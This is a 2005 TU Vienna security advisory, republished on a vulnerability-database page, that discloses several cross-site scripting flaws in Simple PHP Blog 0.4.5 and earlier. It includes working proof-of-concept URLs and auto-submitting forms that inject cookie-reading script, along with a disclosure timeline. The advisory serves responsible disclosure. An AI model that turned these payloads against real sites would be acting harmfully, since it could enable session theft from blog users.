Lucene search
K

TUVSA-0511-001.txt

🗓️ 03 Nov 2005 00:00:00Reported by Nenad JovanovicType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 34 Views

Simple PHP Blog: Multiple XSS Vulnerabilities in preview_cgi.php and preview_static_cgi.php, and colors.php

Code
`===========================================================  
Simple PHP Blog: Multiple XSS Vulnerabilities  
===========================================================  
Technical University of Vienna Security Advisory  
TUVSA-0511-001, November 2, 2005  
===========================================================  
  
  
Affected applications  
----------------------  
  
Simple PHP Blog (www.simplephpblog.com)  
  
Versions 0.4.5 and prior.  
  
  
Description  
------------  
  
  
1.) preview_cgi.php, part 1  
  
There is a cross-site scripting (XSS) vulnerability in the file preview_cgi.php on line 126: The variable $entry is echoed,  
but hasn't been sufficiently sanitized before. When logged in, this issue can be tested with the following URL:  
  
http://your-server/path-to-sphpblog/preview_cgi.php?entry=foo"><script>alert(document.cookie)</script>  
  
The fields "your-server" and "path-to-sphpblog" in the given URL have to be adjusted accordingly.  
  
  
2.) preview_cgi.php, part 2  
  
There is another cross-site scripting vulnerability in the file preview_cgi.php on line 129: The variable $temp_subject is echoed,  
but hasn't been sufficiently sanitized before. When logged in, this issue can be tested by visiting a page structured  
as follows:  
  
<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">  
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>  
<input type="submit"/>  
</form>  
  
<script type="text/javascript">  
document.forms[0].submit();  
</script>  
  
An analogous vulnerability affects preview_cgi.php on line 158:  
  
<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">  
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>  
<input type="submit"/>  
</form>  
  
<script type="text/javascript">  
document.forms[0].submit();  
</script>  
  
  
3.) preview_static_cgi.php  
  
In the file preview_static_cgi.php, there are four vulnerabilities resembling those in preview_cgi.php:  
  
- line 73, variable $entry; example URL:  
  
http://localhost/~enji/path-to-sphpblog/preview_static_cgi.php?entry=foo"><script>alert(document.cookie)</script>  
  
- line 76, variable $temp_subject; example file:  
  
<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">  
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>  
<input type="submit"/>  
</form>  
  
<script type="text/javascript">  
document.forms[0].submit();  
</script>  
  
- line 158, variable $temp_text; example file:  
  
<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">  
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>  
<input type="submit"/>  
</form>  
  
<script type="text/javascript">  
document.forms[0].submit();  
</script>  
  
- line 108, variable $temp_file_name is set to $_POST['file_name'] if $_GET['entry'] is not set, and set to $entry otherwise  
(in this case, see vulnerability on line 73); example file:  
  
<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">  
<input name="file_name" value='"><script>alert(document.cookie)</script>'/>  
<input type="submit"/>  
</form>  
  
<script type="text/javascript">  
document.forms[0].submit();  
</script>  
  
4) colors.php  
  
The variables variables $preset_name and $result on line 187 of the file colors.php are also vulnerable to XSS. This can be tested with one of the following two pages:  
  
<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">  
<input name="save_btn" value="1"/>  
<input name="scheme_name" value='"></option></select><script>alert(document.cookie)</script>'/>  
<input name="scheme_file" value="blabla"/>  
<input type="submit"/>  
</form>  
  
<script type="text/javascript">  
document.forms[0].submit();  
</script>  
  
or  
  
<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">  
<input name="save_btn" value="1"/>  
<input name="scheme_name" value="myscheme"/>  
<input name="scheme_file" value="blabla"/>  
<input name="bg_color" value='"><script>alert(document.cookie)</script>'/>  
<input type="submit"/>  
</form>  
  
<script type="text/javascript">  
document.forms[0].submit();  
</script>  
  
  
Solution  
---------  
  
The authors are currently working on a new version of Simple PHP Blog that is  
supposed to fix these vulnerabilities.  
  
Timeline:  
  
September 22, 2005:  
Vulnerabilities reported via the contact form under  
http://www.simplephpblog.com/contact.php.  
  
September 29, 2005:  
Message posted to the project-related SourceForge bug forum  
(http://sourceforge.net/projects/sphpblog) due to missing response.  
  
October 1, 2005:  
Developers reply via SourceForge.  
  
October 2, 2005:  
Vulnerabilities reported via the e-mail address given in the previous reply.  
  
Until November 2, 2005:  
Occasional contact via e-mail, announcement of advisory release date one week  
in advance remained uncommented.  
  
November 2, 2005:  
Advisory submission.  
  
  
References  
-----------  
  
http://www.seclab.tuwien.ac.at/advisories/TUVSA-0511-001.txt  
  
  
Nenad Jovanovic  
Secure Systems Lab   
Technical University of Vienna   
www.seclab.tuwien.ac.at  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation